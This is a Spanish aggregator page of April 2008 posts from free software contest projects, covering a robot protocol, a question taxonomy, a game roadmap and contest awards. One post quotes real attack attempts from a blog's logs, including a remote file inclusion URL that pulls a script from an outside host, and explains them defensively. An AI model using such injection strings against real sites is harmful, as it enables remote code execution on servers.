  • Cargar/guardar todas las propiedades y sus valores de forma dinámica (y mediante un únio método), lo que nos permite añadir tantas propiedades como queramos sin tener que retocar el código de cargado/guardado en más de un único sitio.
  • Nos permite controlar los posibles fallos evitando así la escalada de errores que podrían causar el cierre inesperado de la aplicación.

(more…)

por Luis Alberto Pérez García el 23/04/2008 11:25 AM

22/04/2008

Sistema integrado para el soporte a la docencia

Taxonomía de vocabularios


Como comenté en el anterio post, quería cambiar la taxonomía de las preguntas de las antiguas categorías a utilizar vocabularios al estilo de Drupal. Echándole un ojo a las tablas de la base datos de Drupal 5 y haciendo algunas pruebas, he obtenido una versión adaptada para este proyecto. Aquí os pongo un diagrama de clases (ya que utilizo el ORM sqlobject) de como quedaría esta taxonomía en la base de datos. La multiplicidad en las relaciones entre clases no aparece pero es fácilmente deducible observando los atributos de cada clase. Además comentar, que en la base de datos en la relación muchos a muchos obviamente se crea una tabla nueva (questions-terms) que no aparece en el diagrama.

por javierperis el 22/04/2008 11:28 PM

De categorías a vocabularios


Hasta el momento, la forma de ordenar de algún modo las preguntas era mediante categorías, se podían añadir preguntas a una categoría, moverlas entre categorías, feature” que también estaba implementada de forma persistente mediante las tablas y relaciones necesarias en la base de datos.

Se ha replanteado la idea, y se va a implementar algo parecido (adapta a las necesidades) a la taxonomía que utiliza Drupal para clasificar nodos.

por javierperis el 22/04/2008 12:19 AM

21/04/2008

R4P

Epecificación del protocolo de comunicación

Posteamos una primera especificación del protocolo de comunicaciones del robot con la interfaz. Esperamos que nos comentéis que os parece y como lo mejoraríais.


R4P a Interfaz

Inicialización de R4P a interfaz:

Nombre:
Datos inicialización
Descripción: Envía los datos sobre los sensores conectados a r4p. Se envia al iniciar el robot y los datos de si está conectado o no cada sensor los define el programador en el código del robot.
Texto del mensaje: {idtm,iX,iY,b,d}

  • idtm: byte (identificador de tipo de mensaje, valor 1)
  • i1: byte (inclinometro X, valor 0 si no está conectado, 1 si conectado).
  • i2: byte (inclinometro Y, valor 0 si no está conectado, 1 si conectado).
  • b: entero (brujula, valor 0 si no está conectado, 1 si conectado).
  • d: byte (distancia, valor 0 si no está conectado, 1 si conectado).

Estado petición: no hay aknowledge
Valores comunes: para iX,iY,b,d el valor 0 si no está conectado y 1 si está conectado.

Envío de todos los datos de R4P a interfaz:


Nombre:
Envío de todos los datos.
Descripción: Envia los datos de todos los servos
Texto del mensaje: {idtm,s1,s2,s3,s4,s5,s6,s7,s8,s9,s10,s11,s12,iX,iY,b,d}
Parámetros:

  • idtm: byte (identificador de tipo de mensaje, valor 2)
  • s1: byte (valor del servo 1 en decimal de 0 a 180).
  • s2: byte (valor del servo 2 en decimal de 0 a 180).
  • s3: byte (valor del servo 3 en decimal de 0 a 180).
  • s4: byte (valor del servo 4 en decimal de 0 a 180).
  • s5: byte (valor del servo 5 en decimal de 0 a 180).
  • s6: byte (valor del servo 6 en decimal de 0 a 180).
  • s7: byte (valor del servo 7 en decimal de 0 a 180).
  • s8: byte (valor del servo 8 en decimal de 0 a 180).
  • s9: byte (valor del servo 9 en decimal de 0 a 180).
  • s10: byte (valor del servo 10 en decimal de 0 a 180).
  • s11: byte (valor del servo 11 en decimal de 0 a 180).
  • s12: byte (valor del servo 12 en decimal de 0 a 180).
  • iX: byte (inclinometro X, valor de RANGO grados).
  • iY: byte (inclinometro Y, valor de RANGO grados).
  • b: entero (brujula, valor de 0 a 360 grados).
  • d: byte (distancia, valor de 5 a 50 cm).

Estado petición: no hay aknowledge
Valores comunes: para iX,iY,b,d el valor 999 significará que no hay datos sobre el sensor.

(more…)

por Luis Ignacio Díaz del Dedo el 21/04/2008 05:14 PM

QuiXo3D

Final del I Concurso Universitario de Software Libre de Castilla-La Mancha


El jueves pasado tuvo lugar la final de la fase local del II Concurso Universitario de Software Libre, que en el caso de Castilla-La Mancha celebra su primera edición. Desde aquí mi felicitación a la organización, por el esfuerzo que supone siempre arrancar una iniciativa como ésta, y especialmente a los proyectos premiados:

QuiXo3D obtuvo una mención especial, junto con el proyecto psicodélico y divertido de Funny Box.

Muchas gracias a todos por dar este pequeño empujón al Software Libre.

por quixo3d el 21/04/2008 03:46 PM

Pro Evolution Chapping

Objetivos para versión 0.45


Nos hemos marcado unos objetivos que cuando sean cumplidos pues sacaremos la próxima versión de nuestro videojuego:

  1. Rotación en chapas y pelotas. Hecho.
  2. Coger cualquier imagen y convertirla en una chapa para poder jugar. En proceso.
  3. Arreglo de bugs en campo de playa e hielo. Hecho.
  4. Arreglar fallos con las transparencias y SDL. En proceso.
  5. Optimización a la hora de dibujar. En proceso.
  6. Rediseño del menú con soporte de ratón. En proceso.
  7. Un campo nuevo estilo antiguo. Hecho.
  8. Un campo nuevo que es un billar. En proceso.
  9. Cambiar imágenes por texto. Hecho.
  10. Arreglar el selector que indica de quién es el turno. En proceso.
  11. Que salga un final de partido con ganador y vuelva al menú. No empezado.
  12. Que en los mensajes aparezca la chapa del equipo al que va dirigido. No empezado.

Estado actual de desarrollo: 50%.

Si tenéis alguna idea que merezca ser imprescindible para la próxima versión dejar un post. Por favor no digáis la red porque ese será el único objetivo para la versión 0.50. Simplemente queremos dejar una versión decente antes de aventurarnos con la red. Disculpar también la lentitud de nuestro trabajo pero es que los exámenes, trabajos, perrez, lluvia, etc… no nos dejan trabajar a gusto. Un saludo a todos.

por chapping el 21/04/2008 02:02 PM

20/04/2008

Pro Evolution Chapping

Una de Chapping a la carta!


Hemos recibido en la lista un correo comentándonos que si no iba a haber traducciones en el juego, y la respuesta es que sí, pero aún estamos en un estado inestable y por eso todavía no habíamos habilitado estas características. También nos preguntaron sobre un lugar para colocar temas, y voilá aquí tenéis las respuestas a tus sugerencias:

http://chapping.wordpress.com/traducciones/
http://chapping.wordpress.com/publica-tu-tema/

Por ultimo queríamos aclarar que uno de los motivo de que el juego este en ingles es que es la forma más habitual de trabajar en un software con pretensión a ser traducido a varios idiomas, para que después no da el típico error de compilación por culpa de una ñ inesperada o una vocal acentuada.

Otro motivo es por que el módulo de traducción se queda con dicho texto si no encuentra el idioma preferente por el usuario, y el inglés esta más extendido.

El último motivo (muy relacionado con el anterior) es que lo mas facil es traducir de el ingles a cualquier otro idioma, pues si buscamos online diccionario… el 99% lo encontraremos de ingles a otro idioma.

por chapping el 20/04/2008 11:48 PM

Psychosynth

Mirando hacia adelante

Estos días he estado muy ocupado con la facultad y algo de activismo pero he estado pensando en el Psychosynth y organizándome las ideas de lo que será el futuro del proyecto, nutriéndome también del valioso feedback que he recibido últimamente.

por Juan Pedro Bolívar Puente el 20/04/2008 08:32 PM

ZERO

Cajón moneda

Tal y como ya puntualizamos en la memoria del proyecto, estábamos a la espera de una pequeña colaboración en forma de cajón moneda… y aquí está.

Cajon Moneda

Como véis el aspecto es muy bueno y únicamente nos falta una impresora de TPV para empezar con la impresión de los tickets. Estas son sin duda, grandes ayudas que nos van a permitir terminar las funcionalidades de las que ha de disponer el punto de venta.

Dar las gracias a la persona que ha tenido el gusto de hacernos este regalo. Pronto tendremos resultados.

Un saludo.

por admin el 20/04/2008 08:11 PM

R4P

II Concurso Universitario de Software Libre

Hemos tenido un problema con ThunderBird y desde hace 2 meses pensábamos que la lista de correo del concurso estaba muerta. Cual fue nuestra sorpresa al descrubrir ayer por la noche que seguía funcionando y no solo eso, sino que había que realizar un documento exponiendo lo realizado hasta ahora.

Como evidentemente ni nos enteramos de ello vamos a poner un post con los links a la documentación código y tal que hemos ido generando.

Documentación:

Algoritmos:

Difusión:

El código si tiene relación con el tema de cada post se podrá encontrar disponible en el mismo post o en el SVN.

Creemos que de cara al concurso es importante resaltar que los dos Luises tenemos asignaturas a parte del fin de carrera con lo cual nos ha sido imposible terminar el proyecto para el 7 de Abril ya que habíamos planificado el desarrollo para Junio que es cuando tenemos que entregar el proyecto. Aún así esperamos poder dar “algo de guerra” en la categoría de educacion (la universidad se está planteando utilizar R4P para el curso de robótica para niños superdotados que se imparte todos los veranos) y en el premio de innovación ya que casi no hemos visto ningún proyecto orientado a la robótica que sea libre en su totalidad.

Ya fuera de todo el tema de la evaluación del CUSL queremos dar las gracias a todos los comentarios y mails recibidos de gente interesada por el proyecto, así como a los asistentes al DorkBot y a los chavales del IES Luis Buñuel (seguid así chicos!), que nos han dado ánimos y nos han descubierto que realmente hay gente ahí fuera motivada por la robótica y el software libre, con ganas de fundir ambas cosas en algo grande que esperamos ver en un futuro muy próximo.

por Luis Ignacio Díaz del Dedo el 20/04/2008 11:05 AM

ThoRo

Premio Mejor Idea Original

    El pasado dia 17 de Abril se realizo la entrega de premios en Ciudad Real del I Concurso de SL de CLM, en el cual el proyecto ThoRo fue premiado con el de Mejor Idea Original,

Diploma

 

Agracedecer a la organizacion por el premio y el trabajo realizado y felicitar por sus proyectos al resto de los premiados:

 

 Articulos relacionados:

por Thempra el 20/04/2008 10:39 AM

zenphp

Aplicaciones web seguras

Escribí hace algún tiempo un artículo donde explicaba el problema de que se diera mucho a conocer un software hasta que mucha gente lo usara ,comentándolo públicamente…y por qué existe un riesgo mayor mientras más fama tenga…
He encontrado indicios de intentos de explotación de agujeros de distinta índole en los logs de este blog, aquí teneis ejemplos de lo que se pretende hacer…

¡¡Lanzamiento de caña!!

  • Con la siguiente dirección:
    home.php?section=http://www.backbreakacres.com/22/test.txt??
    se pretende inyectar un ataque con una línea de ejecución de comando de consola, detectando previamente el sistema operativo para lanzar un servicio de red…para ello se necesita comprobar si el parámetro safe_mode de PHP está activado…algo relativamente sencillo que puede ser testeado rápidamente y tiene grabes consecuencias
  • Por medio del siguiente ataque
    URL%20http://yoshishome.chat.ru/images se intenta engañar a un controlador de una aplicación web
    con la aspiración ni más ni menos que de insertar todo un conjunto de órdenes en una cadena que está ofuscada y encriptada para que los analizadores de código no encuentren ninguna linea u orden sospechosa en tiempo de ejecución, recordemos el peligro de la función eval() de PHP…
  • Técnicas raras usando métodos que concatenan dirección tras dirección con parámetros ++GET para engañar al analizador de .htaccess de Apache y conseguir descargar ficheros ,etc.

A esto se ha de añadir otros tipos de ataque como las inyecciones de SQL en los formularios, modificación de cookies de sesión, des-habilitación de JavaScript, antes,mientras y tras la carga de una web, alteración del envío de una petición por métodos POST y GET, aprovechar vulnerabilidades conocidas en general de PHP, como la escritura de ficheros y ataques XSS…etc.
Por eso, un buen framework ha de pensar en estas cosas tan importantes y dar soluciones a la altura, en mi caso,he propuesto algunas…y están implementadas de forma transparente.
Si no teníamos suficiente con diseñar las webs para cada tipo de navegador (y S.O.) además tenemos que estar atentos a los ataques del exterior, jeje

Compártelo

por juaxix el 20/04/2008 08:00 AM

19/04/2008

Pleim

Mejoras y felicitaciones


Ya ha acabado la fase local en la Universidad de Cádiz. Desde aquí felicitar al proyecto ganador XMLEye.

Por mi parte, en unos días empezaré a modificar la biblioteca libtextcat. Para los interesados, es una biblioteca del reconocimiento del lenguaje licenciada en BSD. Para integrarla en Pleim, la idea es ajustarla para que use el módulo de almacenamiento database.c, modificar el API para que se ajuste más a lo que necesito, y coordinar los lenguajes que permitirá reconocer con los lenguajes que soporta la biblioteca que elimina los sufijos, libstemmer.

Espero contaros en unos días que ya no es necesario decirle a Pleim cual es vuestro idioma. Hasta pronto.

por xeos el 19/04/2008 11:19 AM

zenphp

Extendiendo los procesos de automatización

Para automatizar los procesos de una aplicación web lo mejor es usar un esqueleto y escribir código a partir de él. Aunque muchas veces el problema es como se dice en todos sitios, la curva de aprendizaje de un método.
Con cualquiera de las formas de pensar a la hora de hablar de programación encontramos similitudes porque los humanos pensamos de la misma manera XD ¿Qué quiero decir con esto? Pues ,pasa lo mismo que con las ideas que se tienen implementando capas de redes, cuando a alguien se le ocurre una idea para proteger,enviar o recibir, encriptar,…lo que sea!, seguramente se le ha ocurrido a otra persona antes, y si no se le ha ocurrido se le ocurrirá pronto :) y me explico, a mi se me ocurren ideas que me parecen muy buenas y dada mi experiencia con programación orientada a objetos para programar páginas web considero que debo compartir lo que he aprendido y he de mezclarlo con los conocimientos ya adquiridos y puestos en la red con libertad de uso…lo que a mi se me ha ocurrido se le puede haber ocurrido a cualquiera otra persona en cualquier otro momento, sin embargo lo voy a publicar, para que cualquier otra persona no tenga que implementar lo que en mi caso, con más experiencia, me cuesta menos expresar en líneas de código. El resultado es un conjunto de clases llamadas librerías que están muy organizadas y disponen de un sistema de comunicación entre sí que permite seguir las normas de la programación estructurada fácilmente gracias a la documentación asociada a estas librerías asi como seguir los ejemplos propuestos.
La fases de los procesos de automatización de un Sistema Gestor de Contenidos fueron expuestas en anteriores artículos de este mismo blog. Lo que ahora es más interesante es preguntarse de qué forma se puede implementar un SGC para que no se convierta en la desconfianza de Joomla en cuanto a sus módulos y la desorganización entre versión tras versión que hace chocar implementaciones entre si e imposible reutilizar código por joven que éste parezca…y la respuesta es el generador de código, que mantiene la sincronización